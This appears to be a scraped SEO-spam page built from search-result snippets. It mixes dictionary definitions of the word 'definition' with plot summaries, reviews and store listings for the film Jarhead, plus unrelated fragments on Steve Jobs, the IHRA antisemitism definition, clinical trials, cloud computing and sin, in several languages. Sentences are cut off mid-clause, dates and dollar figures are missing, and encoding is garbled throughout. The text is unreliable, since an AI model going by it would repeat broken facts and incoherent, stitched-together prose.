He did not conduct formal reviews with employees and was very sparing with praise for a job well done. The medical home encompasses five functions and attributes: 1. &0183;&32;Question: "What is the definition of sin? Gaslighting, technique of deception and psychological manipulation intended to make the victim dependent on the deceiver in thoughts or feelings. However, criticism of Israel similar to that level. Jarhead - Un film di Sam Mendes.
A good definition explains concisely what something means. Find definitions, meanings, synonyms, pronunciations, translations, origin and examples. The following monsters will have their happiness increased by 25% when near one of these. By analogy with the “Definition of Done”, the team makes explicit and visible the criteria (generally based on the INVEST matrix) that a user story must meet prior to being accepted into the upcoming iteration. A boy that probably skates, has his nails painted w rings, wears beanies, maybe has a cute egirl girlfriend, always wearing vans and long sleeves or hoodies under tshirts, their hair is sometimes parted down the middle. Jarhead | UIP.
· Pioneers in Language Reference for 200 years. Definition from Wiktionary, the free dictionary. Connection: BNC Banana.
All artwork is on canvas and hand stretched. Find more ways to say definition, along with related words, antonyms and example phrases at Thesaurus. Jarhead is listed in the World&39;s largest and most authoritative dictionary database of abbreviations and acronyms. Throughout Jarhead, Swofford is a tormented consciousness, yet the tone of the memoir shows that his brief, searing war experience has provoked a yearning for reconciliation and the first hope for a new, inner peace. Jarhead chronicles Swofford&39;s life story and his military service in the Gulf War. See also: français, francais, and Francais. Learn more about information systems in this article. After starting Apple Computer from his garage in 1976 he was fired by the board of directors in 1985 when the company was under intense competition and he disagreed with the CEO on of the future direction of the business.
Definition f (plural definitions) 1. It&39;s way more honest than the majority of others and puts the author in a vulnerable and unflattering place at times. Jarhead MC Memorial to their seven fallen riders. Traductions en contexte de "jarhead" en anglais-fran&231;ais avec Reverso Context : A jarhead could never make shots like those.
· Definition of IXL in the Definitions. Jar-head (letter) an associate of united states of america aquatic Corps. When used by civilians it could be considered derogatory, but it is used often among Marines. The film was directed by Sam Mendes, starring Jake Gyllenhaal as Swofford with Jamie Foxx, Peter Sarsgaard, Lucas Black, and Chris Cooper.
Find all 39 songs in Jarhead Soundtrack, with scene descriptions. So the fact is that most folks who start out with a modicum of innate leadership capability can actually become very good, even great leaders. \mathop \lim \limits_x \to a \fracf\left( x \right) - f\left( a \right)x - a\. Sign up to. Dezember startete das.
· Definition from Wiktionary, the free dictionary. JARHEAD Meaning: "U. IPA(key): /ˌdɛfɪˈnɪʃ(ə)n/, /ˌdɛfɪˈnɪʃən/ 2. Definition, In philosophy, the specification of the meaning of an expression relative to a language. Jarhead: Żołnierz piechoty morskiej () Jarhead - Nowy członek amerykańskiej piechoty morskiej zostaje wysłany do Iraku. After putting up with an arduous boot camp, Swofford and his unit are sent to the Persian Gulf where they are eager to fight, but are forced to stay back from the action. Steve Jobs is a classic example of someone who was probably not born to be a leader.
A rule or fact written with mathematical symbols. See full list on thebalancesmb. Macht der Aktion&228;r von diesem Recht keinen Gebrauch, kann er das Kaufrecht ebenfalls an der B&246;rse verkaufen. Based on former Marine Anthony Swofford's best-selling book about his pre-Desert Storm experiences in Saudi Arabia and about his experiences fighting in Kuwait. Meaning of jarhead. Jarhead, el infierno espera es una pel&237;cula dirigida por Sam Mendes con Jake Gyllenhaal, Jamie Foxx, Peter Sarsgaard, Chris Cooper, Lucas Black. Jarhead is a Gulf War memoir by author and former U. Swofford undertakes a sniper course headed by Staff Sgt.
&0183;&32;NIH Definition of a Clinical Trial. Sign up to receive our weekly tech tips! Marine Anthony Swofford &39;s memoir of the same name, directed by Sam Mendes, starring Jake Gyllenhaal as Swofford with Jamie Foxx, Peter Sarsgaard and Chris Cooper. Arteries are. NIH Definition of a Clinical Trial. Surrounding the base of the jar are purple tentacles and a small green plant. Information and translations of jarhead in the most comprehensive.
324 likes &183; 28 talking about this. Lexical definition specifies the meaning of an expression by stating it in terms of other expressions whose meaning is assumed to be known (e. Headaches can develop gradually or suddenly, and may last from less than an hour to. Meanings and definitions of words with pronunciations and translations. AKA: Jarhead - Willkommen im Dreck.
In a business setting, this can mean directing workers and colleagues with a strategy to meet the company&39;s needs. Pioneers in Language Reference for 200 years. Genre: Biography, Drama, War. The term originates from the " high and tight " haircut that many Marines have, which makes their head look like a jar. High Definition Audio Controller free download - IDT High Definition Audio CODEC, VIA High Definition Audio, SigmaTel High Definition Audio CODEC, and many more programs. The film was directed by Sam Mendes. Jarhead: Law of Return subtitles. Definitions can be classified into two large categories, intensional definitions (which try to give the sense of a term) and extensional definitions (which try to list the objects that a term describes).
Das zeigen der regelm&228;&223;ige Armutsbericht der Bundesregierung und der Kinderreport. A dramatic chronicle of the Gulf War as seem through the eyes of a young Marine sniper. More Jarhead images. But leadership also involves communicating, inspiring and supervising - just to name three more of the primary skills a leader has to have to be successful.
Questions, discussion and forums. In fact, it is one of at least five nicknames the Marines have taken in stride. The title comes from the slang term used to refer to Marines (sometimes by Marines themselves).
Wraz z kolegami z jednostki poznaje realia panujące na froncie. Dancing by James McCauley The satellite tv didn't work so the ISF (Iraqi Special Forces) started to dance and sing. Jarhead Zen. The CDD represents the "policy" aspect of Android compatibility. Christopher Kgofelo- Definition of SCRAT - a small, insignificant thing or amount, according 2 Merriam-Webster, so I&39;m assuming a SCRAT bath is an insignificant bath. Amtlicher Hinweis: Diese Vorschrift dient der Umsetzung der eingangs zu den Nummern 3, 4, 6, 7, genannten Richtlinien.
Date Published: September. Many major companies are built entirely around information systems. Welcome to Jim Owens&39; JarHeadTop.
Historically, a program has been viewed as a logical procedure that takes input data, processes it, and produces output data. (semantics, lexicography) A statement of the meaning of a word or word group or a sign or symbol (dictionarydefinitions). Net dictionary.
Web server: A Web server is a program that uses HTTP (Hypertext Transfer Protocol) to serve the files that form Web pages to users, in response to their requests, which are forwarded by their computers' HTTP clients. &0183;&32;Find trailers, reviews, synopsis, awards and cast information for JarheadSam Mendes on AllMovie - A young man gets a crash course in the madness of. Definition synonyms, definition pronunciation, definition translation, English dictionary definition of definition. Information and translations of IXL in the most comprehensive dictionary definitions resource on the web.
T&237;tulo original: Jarhead. &0183;&32;To be considered compatible with Android, device implementations MUST meet the requirements presented in this Compatibility Definition, including any documents incorporated via reference. Jarhead Diagnostics 4 Channel Scope Mount Kit. When Anthony Swofford’s Gulf War memoir Jarhead first appeared in bookstores, Roger Deakins, ASC, BSC, snapped up a copy. Soldier's Things • Tom Waits. A dictionary is a collection of words and their definitions (and sometimes other information).
Baroque is a good game, but only for a very narrow subset of the gaming. A psychological study of operations desert shield and desert storm during the gulf war; through the eyes of a U. &0183;&32;Capital stock is the number of common and preferred shares that a company is authorized to issue, and is recorded in shareholders' equity. A simple definition is that leadership is the art of motivating a group of people to act towards achieving a common goal. See more videos for Jarhead. Recent Examples on the Web Mike Ferazzi lived to ride his motorcycle with his brothers, members of the Jarheads, a group of bikers comprised of, well, jarheads, Marines. Definition (clarification of this definition is needed).
Um k&252;nftig noch mehr Menschen mit Wirtschafts- und Finanznachrichten zu erreichen, werden die Kr&228;fte in der ARD geb&252;ndelt. See definitions of jarhead. The NIST Definition of Cloud Computing Documentation Topics. Im Folgenden sehen Sie die Top-Auswahl der getesteten M&a definition, wobei die Top-Position den Vergleichssieger definiert. The term originates from the "high and tight" haircut that many Marines have, which makes their head look like a jar.
These may include marketing; financial; fundraising; employee, community or government relations; and. What appealed to him, and what was he looking for? Azione, USA,. A member of United States Marine Corps. More Definition videos. Da die meisten H&228;ndler leider seit geraumer Zeit ausnahmslos durch hohe Preise und zudem schlechter Beratungsqualit&228;t Bekanntheit erlangen, hat unser Team alle Dab+ definition nach ihrem Preis-Leistungs-Verh&228;ltnis geordnet und kompromisslos nur die feinste Auswahl in unsere Auswahl mit. After founding Pixar Animation Studios and NeXT Computer he was eventually rehired by Apple in 1997 as CEO and went on to develop the revolutionary iPod, iPhone, and many other products.
He or she is the person in the group that possesses the combination of personality and leadership skills that makes others want to follow his or her direction. 日本語 フリー多機能辞典項目. Jarhead is a film about a US Marine Anthony Swofford’s experience in the Gulf War. The IHRA’s Committee on Antisemitism and Holocaust Denial worked to build international consensus around a working definition of antisemitism, which was subsequently adopted by the plenary.
Occur primarily outside the territorial jurisdiction of the United States, or transcend national boundaries in terms of the means by which they are accomplished, the persons they appear intended to intimidate or coerce, or the locale in which their perpetrators operate or seek asylum;. " Sustainability is the foundation for today’s leading global framework for. Why do you think Swofford joined the marines? " Answer: Sin is described in the Bible as transgression of the law of God (1 John 3:4) and rebellion against God (Deuteronomy 9:7; Joshua 1:18). By doing so, the IHRA set an example of responsible conduct for other international fora and provided an important tool with practical applicability for its Member Countries. Leadership is the art of motivating a group of people to act toward achieving a common goal.
Artwork is customizable. Dictionaries include definitions, even for the word definition! The film was directed by Academy Award winner Sam Mendes. Comprehensive Care. The challenge for this film was to create hellish scenes of. What does the name Jarhead mean? For each release of the Android platform, a detailed CDD will be provided.
, intervention, placebo, or. OrgAlso try:. Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation. It usually has: • an equals sign (=) • two or more variables (x, y, etc) Example: The formula for the volume of a box is V = l &215; w &215; h Which has these variables: • V stands for volume, • l for length. More Jarhead videos. GET OUTTA HERE. 7/10 IMDb 61% Rotten Tomatoes. BMI does not measure body fat directly, but research has shown that BMI is moderately correlated with more direct measures of body fat obtained from skinfold thickness measurements, bioelectrical impedance, underwater weighing, dual energy x-ray absorptiometry (DXA) and other methods 1,2,3.
Not content with his position, he desired to be higher than God, and that was his downfall, the beginning of sin. Such collections are usually printed as books, but some are now designed for use on computers. ” To guide IHRA in its work, the following examples may serve as illustrations: Manifestations might include the targeting of the state of Israel, conceived as a Jewish collectivity. Bei einem Spin-Off gliedert eine bestehende Firma einen Teil des Unternehmens als eigenst&228;ndige Firma aus.
· NIH Definition of a Clinical Trial. Jarhead: Law of Return () TMDb Score. Traduzioni in contesto per "jarhead" in inglese-italiano da Reverso Context: Borrowed it from my jarhead friend Connor.
Jarhead | jimmy milit&228;r | Pinterest | V&228;rderingsavdrag Jarhead. The film was released on Novem, by Universal Pictures. Google's free service instantly translates words, phrases, and web pages between English and over 100 other languages. Major Ronan Jackson (Devon Sawa), an accomplished fighter pilot for the Israel Defense.
Eighty-eight percent of Americans over 65 years of age have at least one chronic health condition (as of 1998). Swofford and director Sam Mendes stress that to most young GIs, even the most fervently created. Based on title 18, U.
The federal poverty level (FPL) is an economic measure used to decide whether an individual or family qualifies for certain federal benefits and programs. Rhetorical and physical manifestations of antisemitism are directed toward Jewish or non-Jewish individuals and/or their property, toward Jewish community institutions and religious facilities. For example, an admin can create a group of users and. Meanwhile Swofford gets news of his girlfriend is cheating on him. K&246;p online Jarhead (Disc Only&214;vriga DVD-filmer • Skick: Begagnad Pris 7 kr • Tradera. Click here to view a complete list of all monsters' likes. 4, 1909, ch.
A research study in which one or more human subjects are prospectively assigned prospectively assigned The term "prospectively assigned" refers to a pre-defined process (e. Section consolidates sections 1 and 2 of title 18, U. What does jarhead mean? This definition is. Meaning of IXL. Jarhead definition, a U.
Swofford struggles with the possibility of his girlfriend cheating on him, and as his mental state deteriorates, his desire to kill increases. In the same way Swofford sometimes comes off as unreliable in the way he describes himself at points, constantly describing himself as a physical beast which I wasn&39;t. (noun) An ex. What does definition mean? Active Directory allows network administrators to create and manage domains, users, and objects within a network. Fascism (/ ˈ f æ ʃ ɪ z əm /) is a form of far-right, authoritarian ultranationalism characterized by dictatorial power, forcible suppression of opposition and strong regimentation of society and of the economy which came to prominence in early 20th-century Europe. As in "The Last Picture Show," a young man discovers what a cruel, destructive business life can be.
When we talk about an organization, we are usually referring to a group of people. Jarhead 3: The Siege (Unrated) Action & adventure. In the spirit of the Stockholm Declaration that states: “With humanity still scarred by. Dictionary definition is - a reference source in print or electronic form containing words usually alphabetically arranged along with information about their forms, pronunciations, functions, etymologies, meanings, and syntactic and idiomatic uses. Release Date: Novem. The word is so widely used that its meaning can sometimes be lost. Durata 123 min. Learn about the EPA’s Office of Environmental Justice and read the FY19 Annual Environmental Justice Report to learn how the Agency’s programs and resources serve vulnerable communities across the country.
WordReference English dictionary. Sinopsis: Cr&243;nica sobre la guerra del Golfo: im&225;genes de pozos de petr&243;leo ardiendo en la noche, reclutas ruidosos y llenos de entusiasmo, pero tambi&233;n atemorizados ante la idea de toparse con el enemigo. Researching, conducting and evaluating, on a continuing basis, programs of action and communications to achieve the informed public understanding necessary to the success of an organization’s aims. Start your free trial to watch Jarhead and other popular TV shows and movies including new releases, classics, Hulu Originals, and more. H&246;g och Stram frisyr av Jake Gyllenhaal i Jarhead – B&228;sta.
Discussion Questions: 1. Most of us have worked in an organization of people -- even a family is a type of organization. “It was a really different and interesting take on the Kuwaiti war, but I really didn’t see it as a film,” the British cinematographer confesses.
Definition (countable and uncountable, plural definitions) 1. Definitions may be classified as lexical, ostensive, and stipulative. From Wikipedia, the free encyclopedia Anthony Swofford (born Aug) is an American writer and former U. Jarhead: noun a United States Marine. It is a primary feature of Windows Server, an operating system that runs both local and Internet-based servers. Definition of Brand A brand is a name, term, design, symbol, or any other feature that identifies one seller’s goods or service as distinct from those of other sellers. Schedule I drugs, substances, or chemicals are defined as drugs with no currently accepted medical use and a high potential for abuse.
The penguins are speeding in their car to dispose a thermonuclear bomb (in sardine can-form), built by Kowalski. Swofford emerges from a war that has consisted of a long, maddening wait followed by a hard march through the surreal aftermath of battles already won by jets dropping smart bombs, toward a horizon blackened by Saddam's burning oil wells. Please contact us Jarhead - la fin de l'innocence est un film r&233;alis&233; par Sam Mendes avec Jake Gyllenhaal, Scott MacDonald. ) Schedule I. Discover the wide range of Sports & Entertainment,Racquet Sports,Golf from AliExpress Top Seller Jarhead Outdoor Military Store. Headache is pain in any region of the head. Anthony Swofford (born Aug) is an American writer and former U. On, the 31 member states of the International Holocaust Remembrance Alliance (IHRA), of which the United States is a member, adopted a non-legally binding “working definition” of anti-Semitism at its plenary in Bucharest.
In the first section of the Limits chapter we saw that the computation of the slope of a tangent line, the instantaneous rate of change of a function, and the instantaneous velocity of an object at $$x = a$$ all required us to compute the following limit. · Definition: Addiction is a treatable, chronic medical disease involving complex interactions among brain circuits, genetics, the environment, and an individual’s life experiences. An ISP has the equipment and the telecommunication line access required to have a point-of-presence on the Internet for.
&0183;&32;Information system, an integrated set of components for collecting, storing, and processing data and for providing information and digital products. This leadership definition captures the essentials of being able to inspire others and being prepared to do so. Jarhead - What does Jarhead stand for? What does jarhead expression mean? Jarhead A member of the United States Marine Corps. Marine Anthony Swofford&39;s Gulf War memoir of the same name. However, according to biographies, such as &92;&92;"Steve Jobs&92;&92;" by Walter Isaacson, as he matured his management style began to shift and he began to moderate some of his more negative traits and have more empathy for others, realizing that people had limits.
The definition of a definition is a statement of what a word or phrase means. Jarhead is a American biographical war drama film based on U. Enjoy Free Shipping Worldwide! By all accounts, Steve Jobs was a very mercurial genius who early in his career routinely yelled at employees, co-workers, partners, and vendors.
Gonna Make You Sweat (Everybody Dance Now) • Th Hit Crew. The IHRA is the only intergovernmental organization mandated to focus solely on Holocaust-related issues, so with evidence that the scourge of antisemitism is once again on the rise, we resolved to take a leading role in combatting it. Even with the past generations, movies were of significant importance because of the fact that in a short span of 1-3 hours, you can have a grab of something completely different. (Requires a PDF.
Antisemitism and xenophobia the international community shares a solemn responsibility to fight those evils” the committee on Antisemitism and Holocaust Denial called the IHRA Plenary in Budapest to adopt the following working definition of antisemitism. ‘A service definition includes an abstract description of the operations and messages that are supported, and their bindings to a concrete protocol. Open source doesn't just mean access to the source code. Jarhead Synopsis. &0183;&32;Section 3-1 : The Definition of the Derivative.
Definition 1. Hypertension Definition Hypertension is high blood pressure. Jarhead movie reviews & Metacritic score: Laced with dark wit, honest inquisition and episodes that are at once surreal and poignant, tragic and absurd, Jarhead is the film adaptation of Marine Anthony. Upon release, the film received mixed reviews and was a box office disappointment, grossing million against a budget of million. Sin had its beginning with Lucifer, probably the most beautiful and powerful of the angels. Genitive singular of definitio. Define definition. After putting up with an arduous boot camp, Swafford and his unit are sent to the Persian Gulf where they are earger to fight but are forced to stay back from the action.
Un Extrait du film "Jarhead" de Sam Mendes avec Jake Gyllenhaal, Peter Sarsgaard et Jamie Foxx. S marine sniper who struggles to cope with the possibility his girlfriend. Mendes ha delle buone idee a livello visivo e riesce a mostrare il lato paradossale e buzzatiano della vicenda. Senator (Robert Patrick), is shot down while flying through Syrian airspace. Gerade im Handlungsfeld Gesundheitsf&246;rderung mit seinem interdisziplin&228;ren Bezug ist eine Einigung auf gemeinsame Begrifflichkeiten besonders wichtig. What is the movie Jarhead about?
, randomization) specified in an approved protocol that stipulates the assignment of research subjects (individually or in clusters) to one or more arms (e. Definition of jarhead in the Definitions. French definition dictionary: enrich your French vocabulary, find the definition in French of a word or phrase, with examples of use, synonyms, pronounciation. IHRA experts determined that in order to begin to address the problem of antisemitism, there must be clarity about what antisemitism is. Definition of jarhead in the Idioms Dictionary.
, a ewe is a female sheep). The film was released on Novem, by. The definition explains the meaning of IT infrastructure and how it enables businesses and individuals to access and make use of data and services.
Sykes (Jamie Foxx) during this time, which is shortly before the advent of the Gulf War. Definition of. For those who didn't see it thanks to the facebook's-almighty-diy-band-friendly-algorithm, here's a homemade live session of 'And There He Lies' from our upcoming EP. They possessed traits and qualities that helped them to step into roles of leadership.
Anthony Swofford, fils et petit-fils de militaires, vient tout. While it&39;s not solely about profit, those who are viewed as effective leaders are those who increase their company&39;s bottom lines. People with addiction use substances or engage in behaviors that become compulsive and often continue despite harmful consequences. S marine sniper who struggles to cope with the possibility his girlfriend may be cheating on him back home. Management refers to a company&39;s management structure as its leadership, or to individuals who are actually managers as the &92;&92;"leaders&92;&92;" of various management teams. Jarhead isn't overtly political, yet by evoking the almost surreal futility of men whose lust for victory through action is dashed, at every turn, by the tactics, terrain, and morality of the war they're in, it sets up a powerfully resonant echo of the one we're in today. Jarhead subtitles. It's available to watch on TV, online, tablets, phone.
Google has many special features to help you find exactly what you're looking for. Weekly Tech Tips. We dive into how second chances have, and can. Audio Store. See more words with the same meaning: military (related to). Jarhead (the self-imposed moniker of the Marines) follows Swoff (Gyllenhaal) from a sobering stint in boot camp to active duty, where he sports a sniper rifle through Middle East deserts that provide no cover from the heat or Iraqi soldiers. As a Marine, I participated in the war of. , networks, servers, storage, applications, and services) that can be rapidly provisioned and.
Watch Jarhead starring Jake Gyllenhaal in this Military/War on DIRECTV. While there are people who seem to be naturally endowed with more leadership abilities than others, people can learn to become leaders by improving particular skills. A statement that explains the meaning of a word or phrase: 2. Hyphenation: def‧in‧ition.
The Jarhead looks like a large alien head or skull in an oblong jar filled with green fluid. Not Yet Rated 1 hr 43 min Oct 1st, War. A Marine (Jake Gyllenhaal) and his comrades (Peter Sarsgaard, Jamie Foxx) form brotherly bonds while patrolling the Iraqi desert during the.
Free Redistribution. Definitions by the largest Idiom Dictionary. &0183;&32;Major Ronan Jackson (Devon Sawa), an accomplished fighter pilot for the Israel Defense Forces and son of a U. , MD, FACP, FACR Depression : An illness that involves the body, mood, and thoughts and that affects the way a person eats, sleeps, feels about himself or herself, and thinks about things. SaaS is one of three main categories of cloud computing, alongside infrastructure as a. The intranet is described in this definition along with its possible uses, benefits and challenges. Marine, best known for his book Jarhead, based heavily on his accounts of various situations encountered in the Persian Gulf War.
Senator is shot down while flying through Syrian airspace. Jarhead is a unique take on the American Marine Corps that very few movies have delved into. · Federal Poverty Level (FPL) Definition. A description of the features and. In pursuit of these new accessories Rico goes psycho and puts the entire team in trouble. Anthony Swofford, fils et petit-fils de militaires, vient tout juste de f&234;ter son vingti&232;me anniversaire lorsqu'il est en. Prevention efforts and treatment approaches for addiction are generally as. I am also a retired SSgt from the United States Marine Corps.
"Jarhead" is not a tragedy but a tragic coming-of-age story. Even after his death, his reputation lives on. Basic Definition. De auf Lager und kann direkt gekauft werden. Jarhead Soundtrack Music - Complete Song List | TunefindDefinition definition, the act of defining, or of making something definite, distinct, or clear: We need a better definition of her responsibilities.
Email Address. Definition (countable and uncountable, plural definitions) (semantics, lexicography) A statement of the meaning of a word or word group or a sign or symbol (dictionary definitions). When the United States becomes involved, Swofford is shipped out, along with his spotter, Alan Troy (Peter Sarsgaard. Thank you for joining us on our strive to better the automotive industry. Perky accessories poster andinstead of getting the radioactive can to. Untersuchungen von Unicef &252;ber die Ursachen der Kinderarmut und die Definition der Kinderarmut best&228;tigen dies. Building information models (BIMs) are computer files (often but not always in proprietary formats and containing proprietary data) which can be extracted, exchanged or.
Read the report and stay connected to our ListServ to find out how you can stay involved! The most popular dictionary and thesaurus for learners of English. Environmental Justice at the EPA.
Mit der Einstellung von boerse. Rico is excited about a new line of princess accessories for his doll. Assigned to protect a seemingly safe U. 20 Snyggt och Smart H&246;g och T&228;t Fris&246;rer. While most war films concentrate on the war itself, the brutalities of it (Full Metal Jacket) or the nuances of it (Apocalypse Now), Jarhead tells the story of an individual soldier (played by Jake Gyllenhaal) and portrays a beautiful coming of age tale.
Jobs died on Octo at the age of 56. ’ ‘If the right for these laws to be recognised under section 118 of the Constitution is denied, then what is the point of having the scope written into the definition of guardian? Im Glossar zu Konzepten, Strategien und Methoden in der Gesundheitsf&246;rderung werden 118 zentrale Begriffe de&173;fi&173;niert und erl&228;utert. S&228;mtliche hier aufgelisteten M&a definition sind rund um die Uhr in unserem Partnershop im Lager und zudem in maximal 2 Tagen bei Ihnen zu Hause. The jar bubbles as though the head is breathing and the eyes move and blink.
Like Reply Report 1 2 years ago Jhonny Vicente Lopez Benavides. Jarhead phrase. Jarhead (the self-imposed moniker of the Marines) follows "Swoff," a third-generation enlistee, from a sobering stint in boot camp to active duty, sporting a sniper&39;s rifle and a hundred-pound ruck on his back through Middle East deserts with no cover from intolerable heat or from Iraqi soldiers, always potentially just over the next horizon. History is full of people who, while having no previous leadership experience, have stepped to the fore in crisis situations and persuaded others to follow their suggested course of action. Color: Blue Red OD Green Neon Green Purple Pink Black Grey Light Blue.
Subscribe to our channel: gl/HNyuHY Don't miss Scott Adkins in JARHEAD3 3: THE SEIGE - watch the new trailer for the action film directed by Willi. Peli Pelicula Gratis para ver ONLINE | Calidad HD - Watch movies free online Jarhead, el infierno espera. In der folgende Liste finden Sie als K&228;ufer die Liste. • w for width, • h for height, When l=10, w=5 and h=4, then V = 10 &215; 5 &215; 4 = 200.
• Naughty By Nature. Rico, who&39;s drivingsuddenly spots a Princess Ms. Looking to watch Jarhead? K&246;p online Jarhead ( Jake Gyllenhaal jamie Foxx ) DVD• Krigsfilmer p&229; DVD • Skick: Begagnad Pris 12 kr • Tradera. The expression "jarhead" originates from the shape associated with Old Corps covers (caps) which were donned by Marines. It’s all on Hulu.
A definition. Jarhead: Law of Return. If the definition of done is merely a shared understanding, rather than spelled out and displayed on a wall, it may lose much of its effectiveness; a good part of its value lies in being an explicit contract known to all members of the team; Origins. Condition is "Good".
Jarhead is a film based on U. An accomplished fighter pilot for the Israel Defense Forces and son of a U. Jarhead: Field Fuck - YouTube. HIV (human immunodeficiency virus) is a virus that attacks cells that help the body fight infection, making a person more vulnerable to other infections and diseases.
Com, the world&39;s most trusted free thesaurus. Jarhead is the slang term used to refer to United States Marines. Jake Gyllenhaal (The Day After Tomorrow, Moonlight Mile), Jamie Foxx (Ray, Collateral) and Peter Sarsgaard (Kinsey, Boys Don't Cry) star in Universal Pictures' Jarhead, the. Marine Anthony Swofford. It did NOT originate from their uniform or cover.
Upon his return to Apple, he was forced to cut staff and was quoted as expressing concern for families of employees that were laid off. Composer Thomas Newman has carved out a niche for himself with atmospheric scores that blend the traditional with cutting-edge technology, so it comes as no surprise that his work on director Sam Mendes&39; Gulf War drama Jarhead radiates with the kinetic energy of battle while mirroring its emotional complexities with regional instrumentation and thoughtful cues that reflect the human side of war. Jarhead is maybe the first one which talks about was in a postmodern way (although Three Kings already presented some alienating moments referring to contemporary interconnected society (like the genius moment when Whalberg talks to his wife from a prison in Iraq) and the first that, despite all the controversy aroused by recent middle east wars, has the guts to admit that war may be exciting. Writing in Forbes magazine, Erika Andersen, author of &92;&92;"Leading So People Will Follow,&92;&92;" says, like most things leadership capability falls along a bell curve. The High Definition Earth Viewing (HDEV) experiment mounted on the ISS External Payload Facility of the European Space Agency’s Columbus module was activated Ap and after 5 years and 79 days was viewed by more than 318 million viewers across the globe on USTREAM (now IBM Video) alone. ISP (Internet service provider): An ISP (Internet service provider) is a company that provides individuals and other companies access to the Internet and other related services such as Web site building and virtual hosting.
Cloud computing is a model for enabling ubiquitous, convenient, on-demand network access to a shared pool of configurable computing resources (e. In physics, the RMS current value can also be defined as the "value of the direct current that dissipates the same power in a resistor. On, the Plenary in Bucharest decided to: Adopt the following non-legally binding working definition of antisemitism: “Antisemitism is a certain perception of Jews, which may be expressed as hatred toward Jews.
Find out where Jarhead is streaming, if Jarhead is on Netflix, and get news and updates, on Decider. After leaving military service, the author went on to college and earned a double master's degree in Fine Arts at the University of Iowa. ISO brand standards add that a brand “is an intangible asset” that is intended to create “distinctive images and associations in the minds of stakeholders, thereby. Als Ausgleich f&252;r die Abgabe dieses Firmenteils erhalten die alten Aktion&228;re Aktien des neuen Unternehmens gratis oder zumindest das Recht, diese neuen Aktien zu kaufen. National Center for Health Statistics.
Marine Anthony Swofford's Gulf War memoir of the same name, starring Jake Gyllenhaal as Swofford. Definition definition, the act of defining, or of making something definite, distinct, or clear: We need a better definition of her responsibilities. Synopsis : Et&233; 1990. The RMS value of a set of values (or a continuous-time waveform) is the square root of the arithmetic mean of the squares of the values, or the square of the function that defines the continuous waveform. JESTERS' GERIATRIC JARHEAD JAMMER by Joe_Copalman 35 4 VMAQ-2 "Death Jesters" EA-6B Prowler on final at MCAS Yuma during WTI 1. Blood pressure is the force of blood pushing against the walls of arteries as it flows through them.
On the surface Jarhead appears to be a war film based upon the 1991 Gulf War. The word means a collection of resources that are working together somehow to achieve a common purpose. Home Audio, Home Cinema, Media Room, Home / Audio / Video Automation, Lighting, AV integration, Portable Audio, Audio Headphones. Will do custom acrylic pour arts. · A boy that probably skates, has his nails painted w rings, wears beanies, maybe has a cute egirl girlfriend, always wearing vans and long sleeves or hoodies under tshirts, their hair is sometimes parted down the middle. From Jupiter to &39;Jarhead&39;: legendary cutter Walter Murch has a theory about editing, and it involves the heavens.
Die Armut auf der Welt und auch in Deutschland wird immer bedrohlicher, die Armutsgrenze sinkt. Get unlimited DVD Movies & TV Shows delivered to your door with no. La historia de un chico de veinte a&241;os en la guerra del Golfo tiene poco que ver con lo que ofrec&237;an los peri&243;dicos o la televisi&243;n de la &233;poca. A statement of the. Jarhead is the slang term used to refer to United States Marines. Definition in Svenska Akademiens ordlista (SAOL). If you have an idea or change you want we will look into it.
Nat&252;rlich ist jeder Dab+ definition unmittelbar bei Amazon. The amendments also add to the list any institutional investors included in the accredited investor definition that are not otherwise enumerated in the definition of. Pel&237;cula "Jarhead: Law of Return" completa del en espa&241;ol latino, castellano y subtitulada. Quick View.
Jarhead aims to provide the eternal reason why young men are drawn to war, like moths to the flame. Anthony holder familietraditionen i h&230;vd og melder sit til aktiv tjeneste for sit land. Jarhead Diagnostics Male BNC to Female BNC Extension Leads. Starring Jake Gyllenhaal and Jamie Foxx. See: Variable.
Definition definition: 1. See full list on en. In business, leadership is linked to performance and any leadership definition has to take that into account. The distribution terms of open-source software must comply with the following criteria: 1. Jarhead VA Sensor.
Ver Jarhead, el infierno espera | Pelicula Completa en Espa&241;ol Latino - Castellano - Subtitulado. List of Songs. Definition of IXL in the Definitions. Jarhead reminds us that this mood was ended by Saddam&39;s expulsion from Kuwait, and the film summons up the weird mixture of euphoria and frustration, and a simmering new belief in Saddam&39;s.
Search the world's information, including webpages, images, videos and more. Als Betriebst&228;tten sind insbesondere anzusehen:. An October article in Forbes magazine stated, &92;&92;"Today precisely seven years after his Jobs passing his name is still synonymous with visionary, genius, innovator, and icon. Sustainable development has been defined in many ways, but the most frequently quoted definition is from Our Common Future, also known as the Brundtland Report: "Sustainable development is development that meets the needs of the present without compromising the ability of future generations to meet their own needs. Descargar gratis "Jarhead: Law of Return". Jarhead Soundtrack Music -. Con Jake Gyllenhaal, Jamie Foxx, Peter Sarsgaard, Chris Cooper, Lucas Black, Katherine Randolph, Dennis Haysbert. The primary care medical home is accountable for meeting the large majority of each patient’s physical and mental health care needs, including prevention and wellness, acute care, and chronic care.
Vi f&248;lger ham fra tr&230;ningslejren og ud i virkeligheden som snigskytte i de Mellem&248;stlige &248;rkner, hvor der ikke er meget skjul at finde for den br&230;ndende sol eller irakiske soldater. Jarhead Soundtrack Music - Complete Song List | Tunefind. According to some ex-employees of Apple and NeXT, he was intolerant of anything he viewed as a failure and his foul-mouthed tirades were the stuff of legend. A&241;o:. A brief look at how it can increase employee engagement and communication is provided as well as a list of the differences between the Internet and intranet. A definition is a statement of the meaning of a term (a word, phrase, or other set of symbols).
Marine," by 1985 (but in a biographical book with a World War II setting), from jar + head (n. &0183;&32;The Open Source Definition. Quantity: Add to Cart. What Is HIV? This site is dedicated to the High Power shooting enthusiast, providing articles, tips, products and instructional material for both the beginner and the veteran shooter.
&0183;&32;Active Directory (AD) is a Microsoft technology used to manage computers and other devices on a network. Though Jarhead is too one-paced and lacks the emotional gravitas of Mendes&39; previous works, it&39;s still a well-acted, thoughtful piece of filmmaking based on Anthony Swofford&39;s book about his own experiences on duty. Medical Definition of Depression Medical Author: William C. Jarhead isn’t the only term used to describe a Marine. Leadership requires traits that extend beyond management duties. It includes types. Dedicated computers and appliances may be referred to as Web servers as well. Definition definition is - a statement of the meaning of a word or word group or a sign or symbol.
